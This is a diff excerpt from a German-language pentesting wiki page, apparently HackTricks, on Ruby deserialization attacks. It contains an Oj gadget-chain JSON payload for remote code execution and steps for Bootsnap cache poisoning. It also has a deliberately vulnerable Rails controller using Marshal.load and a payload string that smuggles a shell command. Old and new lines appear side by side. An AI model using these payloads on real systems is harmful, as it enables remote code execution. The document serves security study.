Wenn einige nicht hashierbare Werte wie ein Array in den Body gesendet werden, werden sie in einen neuen Schlüssel namens `_json` eingefügt. Es ist jedoch möglich, dass ein Angreifer auch im Body einen Wert namens `_json` mit beliebigen Werten festlegt. Wenn das Backend beispielsweise die Richtigkeit eines Parameters überprüft, aber dann auch den `_json`-Parameter verwendet, um eine Aktion auszuführen, könnte ein Autorisierungsumgehung durchgeführt werden.
Überprüfen Sie weitere Informationen auf der [Ruby _json-Verschmutzungsseite](ruby-_json-pollution.md).
@ -954,7 +954,7 @@ Im Fall des Versuchs, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu fin
"password": "anypw"
}
```
Darüber hinaus wurde festgestellt, dass mit der vorherigen Technik ein Ordner im System erstellt wird, der eine Voraussetzung ist, um ein anderes Gadget auszunutzen, um dies in ein vollständiges RCE mit etwas wie:
Darüber hinaus wurde festgestellt, dass mit der vorherigen Technik ein Ordner im System erstellt wird, der eine Voraussetzung ist, um ein anderes Gadget auszunutzen, um dies in eine vollständige RCE mit etwas wie:
```json
{
"^o": "Gem::Resolver::SpecSpecification",
@ -976,31 +976,31 @@ Darüber hinaus wurde festgestellt, dass mit der vorherigen Technik ein Ordner i
}
}
```
Überprüfen Sie die Details im [**originalen Beitrag**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
### Bootstrap Caching
Nicht wirklich eine Deserialisierungsanfälligkeit, sondern ein netter Trick, um Bootstrap-Caching auszunutzen, um RCE aus einer Rails-Anwendung mit einem beliebigen Dateischreibzugriff zu erhalten (finden Sie den vollständigen [originalen Beitrag hier](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
Nicht wirklich eine Deserialisierungsanfälligkeit, sondern ein netter Trick, um das Bootstrap-Caching auszunutzen, um RCE aus einer Rails-Anwendung mit einem beliebigen Dateischreibzugriff zu erhalten (finden Sie den vollständigen [original post hier](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
Unten finden Sie eine kurze Zusammenfassung der Schritte, die im Artikel zum Ausnutzen einer beliebigen Dateischreibanfälligkeit durch Missbrauch des Bootsnap-Cachings detailliert beschrieben sind:
- Identifizieren Sie die Anfälligkeit und die Umgebung
- Identifizieren der Anfälligkeit und Umgebung
Die Dateiupload-Funktionalität der Rails-App ermöglicht es einem Angreifer, Dateien beliebig zu schreiben. Obwohl die App mit Einschränkungen läuft (nur bestimmte Verzeichnisse wie tmp sind aufgrund des Nicht-Root-Benutzers von Docker beschreibbar), erlaubt dies dennoch das Schreiben in das Bootsnap-Cache-Verzeichnis (typischerweise unter tmp/cache/bootsnap).
- Verstehen Sie den Cache-Mechanismus von Bootsnap
- Verstehen des Bootsnap-Caching-Mechanismus
Bootsnap beschleunigt die Startzeiten von Rails, indem es kompilierten Ruby-Code, YAML- und JSON-Dateien cached. Es speichert Cache-Dateien, die einen Cache-Schlüssel-Header enthalten (mit Feldern wie Ruby-Version, Dateigröße, mtime, Kompilierungsoptionen usw.), gefolgt vom kompilierten Code. Dieser Header wird verwendet, um den Cache beim Start der App zu validieren.
Bootsnap beschleunigt die Startzeiten von Rails, indem es kompilierten Ruby-Code, YAML- und JSON-Dateien cached. Es speichert Cache-Dateien, die einen Cache-Schlüssel-Header enthalten (mit Feldern wie Ruby-Version, Dateigröße, mtime, Kompilierungsoptionen usw.), gefolgt vom kompilierten Code. Dieser Header wird verwendet, um den Cache während des App-Starts zu validieren.
- Sammeln Sie Dateimetadaten
- Sammeln von Dateimetadaten
Der Angreifer wählt zunächst eine Ziel-Datei aus, die wahrscheinlich während des Rails-Starts geladen wird (zum Beispiel set.rb aus der Standardbibliothek von Ruby). Durch die Ausführung von Ruby-Code im Container extrahieren sie kritische Metadaten (wie RUBY_VERSION, RUBY_REVISION, Größe, mtime und compile_option). Diese Daten sind entscheidend für die Erstellung eines gültigen Cache-Schlüssels.
Der Angreifer wählt zunächst eine Zieldatei aus, die wahrscheinlich während des Rails-Starts geladen wird (zum Beispiel set.rb aus der Standardbibliothek von Ruby). Durch die Ausführung von Ruby-Code im Container extrahieren sie kritische Metadaten (wie RUBY_VERSION, RUBY_REVISION, Größe, mtime und compile_option). Diese Daten sind entscheidend für die Erstellung eines gültigen Cache-Schlüssels.
- Berechnen Sie den Cache-Dateipfad
- Berechnen des Cache-Dateipfads
Durch die Replikation des FNV-1a 64-Bit-Hash-Mechanismus von Bootsnap wird der korrekte Cache-Dateipfad bestimmt. Dieser Schritt stellt sicher, dass die bösartige Cache-Datei genau dort platziert wird, wo Bootsnap sie erwartet (z. B. unter tmp/cache/bootsnap/compile-cache-iseq/).
- Erstellen Sie die bösartige Cache-Datei
- Erstellen der bösartigen Cache-Datei
Der Angreifer bereitet eine Nutzlast vor, die:
@ -1010,7 +1010,59 @@ Der Angreifer bereitet eine Nutzlast vor, die:
Diese Nutzlast wird in binären Ruby-Code kompiliert und mit einem sorgfältig konstruierten Cache-Schlüssel-Header (unter Verwendung der zuvor gesammelten Metadaten und der richtigen Versionsnummer für Bootsnap) verknüpft.
- Überschreiben und Ausführung auslösen
- Überschreiben und Auslösen der Ausführung
Mit der Anfälligkeit für beliebige Dateischreibzugriffe schreibt der Angreifer die erstellte Cache-Datei an den berechneten Ort. Anschließend lösen sie einen Serverneustart aus (indem sie in tmp/restart.txt schreiben, das von Puma überwacht wird). Während des Neustarts, wenn Rails die gezielte Datei benötigt, wird die bösartige Cache-Datei geladen, was zu einer Remote-Code-Ausführung (RCE) führt.
### Ruby Marshal exploitation in practice (updated)
Behandeln Sie jeden Pfad, bei dem nicht vertrauenswürdige Bytes `Marshal.load`/`marshal_load` erreichen, als RCE-Senke. Marshal rekonstruiert beliebige Objektgraphen und löst Bibliotheks-/Gem-Callbacks während der Materialisierung aus.
- Minimal anfälliger Rails-Code-Pfad:
```ruby
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
```
- Häufige Gadget-Klassen, die in echten Chains zu sehen sind: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
- Typischer Nebenwirkungshinweis, der in Payloads eingebettet ist (wird während des Unmarshal ausgeführt):
```
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
```
Wo es in echten Apps auftaucht:
- Rails-Cache-Speicher und Sitzungs-Speicher, die historisch Marshal verwenden
- Hintergrundjob-Backends und dateigestützte Objekt-Speicher
- Jede benutzerdefinierte Persistenz oder der Transport von binären Objekt-Blobs
Industrialisierte Gadget-Entdeckung:
- Grep nach Konstruktoren, `hash`, `_load`, `init_with` oder nebenwirkungsreichen Methoden, die während des Unmarshal aufgerufen werden
- Verwenden Sie CodeQLs Ruby unsafe deserialization-Abfragen, um Quellen → Senken zu verfolgen und Gadgets zu entdecken
- Validieren Sie mit öffentlichen Multi-Format PoCs (JSON/XML/YAML/Marshal)
## Referenzen
- Trail of Bits Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 unsichere Deserialisierung): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI RCE über Ruby on Rails Active Storage unsichere Deserialisierung: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security Entdeckung von Gadget-Ketten in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab Ruby unsafe deserialization (Abfragehilfe): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab PoCs-Repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR Ruby 3.4 Gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke Ruby 3.4 universelle Kette: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke Gem::SafeMarshal Escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 Veröffentlichung: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby Fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits Auditing RubyGems.org (Marshal-Funde): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
{{#include ../../banners/hacktricks-training.md}}